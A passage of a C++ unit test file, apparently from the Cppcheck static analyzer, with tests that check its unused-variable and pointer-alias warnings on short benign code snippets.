std::vector& v2 = h();\\n\"\n \" if (std::vector{ 1, 2, 3 }.size() > v2.size()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::vector& v) {\\n\"\n \" while (g()) {\\n\"\n \" const std::vector& v2 = h();\\n\"\n \" if (std::vector({ 1, 2, 3 }).size() > v2.size()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(const std::string &c) {\\n\"\n \" std::string s = str();\\n\"\n \" if (s[0] == '>')\\n\"\n \" s[0] = '<';\\n\"\n \" if (s == c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void f(bool b) {\\n\"\n \" std::map> m;\\n\"\n \" if (b) {\\n\"\n \" const std::string n = g();\\n\"\n \" std::vector c = h();\\n\"\n \" m[n] = c;\\n\"\n \" }\\n\"\n \" j(m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { int i; };\\n\"\n \"S f(S s, bool b) {\\n\"\n \" if (b)\\n\"\n \" s.i = 1;\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias1() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = (char *)&a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = (char *)(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = (const char *)&a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = (const char *)(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" char *b = static_cast(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" const char *b = static_cast(&a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n // a is not a local variable and b is aliased to it\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = &a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\n \"[test.cpp:6:16]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:6:14]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a;\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = &a;\\n\"\n \" *b = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = (char *)a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = (char *)(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = (const char *)a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = (const char *)(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" char *b = static_cast(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" const char *b = static_cast(a);\\n\"\n \" *b = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int a[10];\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int c = b[0];\\n\"\n \" x(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" int c = b[0];\\n\"\n \" x(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a[0];\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = &a[0];\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" a[0] = b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo(int a[10])\\n\"\n \"{\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"class A\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" void foo()\\n\"\n \" {\\n\"\n \" int *b = a;\\n\"\n \" *b = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int *b = a;\\n\"\n \" int *c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'a' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" int *d = b;\\n\"\n \" *d = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" c = b;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int b[10];\\n\"\n \" int *c = a;\\n\"\n \" c = b;\\n\"\n \" *c = 0;\\n\"\n \" c = a;\\n\"\n \" *c = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9]: (style) Variable 'a' is assigned a value that is never used.\\n\"\n \"[test.cpp:7]: (style) Variable 'b' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" b[-10] = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style) Variable 'b[-10]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" b[-10] = 0;\\n\"\n \" int * c = b - 10;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\",\n \"[test.cpp:5:13]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:11]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" int * c = b - 10;\\n\"\n \" c[1] = 3;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'c[1]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10], * b = a + 10;\\n\"\n \" int * c = b - 10;\\n\"\n \" c[1] = c[0];\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Variable 'c[1]' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #4022 - FP (a is assigned a value that is never used)\n \" int a[2], *b[2];\\n\"\n \" a[0] = 123;\\n\"\n \" b[0] = &a[0];\\n\"\n \" int *d = b[0];\\n\"\n \" return *d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo() {\\n\" // #4022 - FP (a is assigned a value that is never used)\n \" entry a[2], *b[2];\\n\"\n \" a[0].value = 123;\\n\"\n \" b[0] = &a[0];\\n\"\n \" int d = b[0].value;\\n\"\n \" return d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = (struct S *)a;\\n\"\n \" s->c[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = (struct S *)a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:16]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" const struct S * s = (const struct S *)a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:22]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" struct S * s = static_cast(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:16]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct S { char c[100]; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" char a[100];\\n\"\n \" const struct S * s = static_cast(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: a [unusedVariable]\\n\"\n \"[test.cpp:5:22]: (style) Variable 's' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int b[10];\\n\"\n \" int c[10];\\n\"\n \" int *d;\\n\"\n \" d = b;\\n\"\n \" d = a;\\n\"\n \" d = c;\\n\"\n \" *d = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Unused variable: b [unusedVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int b[10];\\n\"\n \" int c[10];\\n\"\n \" int *d;\\n\"\n \" d = b; *d = 0;\\n\"\n \" d = a; *d = 0;\\n\"\n \" d = c; *d = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'b' is assigned a value that is never used.\\n\"\n \"[test.cpp:9]: (style) Variable 'c' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n }\n\n void localvaralias2() { // ticket 1637\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * a;\\n\"\n \" x(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias3() { // ticket 1639\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" BROWSEINFO info;\\n\"\n \" char szDisplayName[MAX_PATH];\\n\"\n \" info.pszDisplayName = szDisplayName;\\n\"\n \" SHBrowseForFolder(&info);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias4() { // ticket 1643\n functionVariableUsage(\"struct AB { int a; int b; } ab;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int * a = &ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; } ab;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int * a = &ab.a;\\n\"\n \" *a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" int * a = &ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'ab' is not assigned a value. [unassignedVariable]\\n\"\n \"[test.cpp:5:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"struct AB { int a; int b; };\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct AB ab;\\n\"\n \" int * a = &ab.a;\\n\"\n \" *a = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias5() { // ticket 1647\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[0];\\n\"\n \" *p++ = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[1];\\n\"\n \" *p-- = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[0];\\n\"\n \" *++p = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"char foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *p = &buf[1];\\n\"\n \" *--p = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias6() { // ticket 1729\n // extracttests.start: int a(); void b(const char *);\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" } else {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo(char *vdata)\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: buf [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" if (a()) {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" srcdata = buf;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" } else {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" buf[0] = 1;\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (style) Variable 'buf' is assigned a value that is never used.\\n\",\n \"\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" srcdata = buf;\\n\"\n \" }\\n\"\n \" srcdata = vdata;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: buf [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[8];\\n\"\n \" char *srcdata;\\n\"\n \" char vdata[8];\\n\"\n \" if (a()) {\\n\"\n \" srcdata = vdata;\\n\"\n \" }\\n\"\n \" srcdata = buf;\\n\"\n \" b(srcdata);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Unused variable: vdata [unusedVariable]\\n\", errout_str());\n }\n\n void localvaralias7() { // ticket 1732\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *c[10];\\n\"\n \" char **cp;\\n\"\n \" cp = c;\\n\"\n \" *cp = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvaralias8() {\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else {\\n\"\n \" pb = b1;\\n\"\n \" pb = b2;\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" pb = b4;\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Unused variable: b1 [unusedVariable]\\n\"\n \"[test.cpp:4:10]: (style) Unused variable: b2 [unusedVariable]\\n\"\n \"[test.cpp:5:10]: (style) Unused variable: b3 [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char b2[8];\\n\"\n \" char b3[8];\\n\"\n \" char b4[8];\\n\"\n \" char *pb;\\n\"\n \" if (a == 1)\\n\"\n \" pb = b1;\\n\"\n \" else {\\n\"\n \" if (a == 2)\\n\"\n \" pb = b2;\\n\"\n \" else {\\n\"\n \" if (a == 3)\\n\"\n \" pb = b3;\\n\"\n \" else\\n\"\n \" pb = b4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" b(pb);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char b1[8];\\n\"\n \" char 